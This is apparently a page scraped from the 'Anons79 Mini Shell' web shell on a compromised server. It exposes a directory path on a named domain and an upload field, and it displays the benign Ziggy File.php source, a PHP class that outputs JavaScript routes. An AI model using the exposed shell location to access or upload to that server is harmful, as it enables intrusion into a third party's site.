Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/talent.gosepakat.id/vendor/tightenco/ziggy/src/Output/
Upload File :
Current File : /home/aplikasiposinfo/public_html/talent.gosepakat.id/vendor/tightenco/ziggy/src/Output/File.php

<?php

namespace Tighten\Ziggy\Output;

use Stringable;
use Tighten\Ziggy\Ziggy;

class File implements Stringable
{
    public function __construct(
        protected Ziggy $ziggy,
    ) {}

    public function __toString(): string
    {
        return <<<JAVASCRIPT
        const Ziggy = {$this->ziggy->toJson()};
        if (typeof window !== 'undefined' && typeof window.Ziggy !== 'undefined') {
          Object.assign(Ziggy.routes, window.Ziggy.routes);
        }
        export { Ziggy };

        JAVASCRIPT;
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]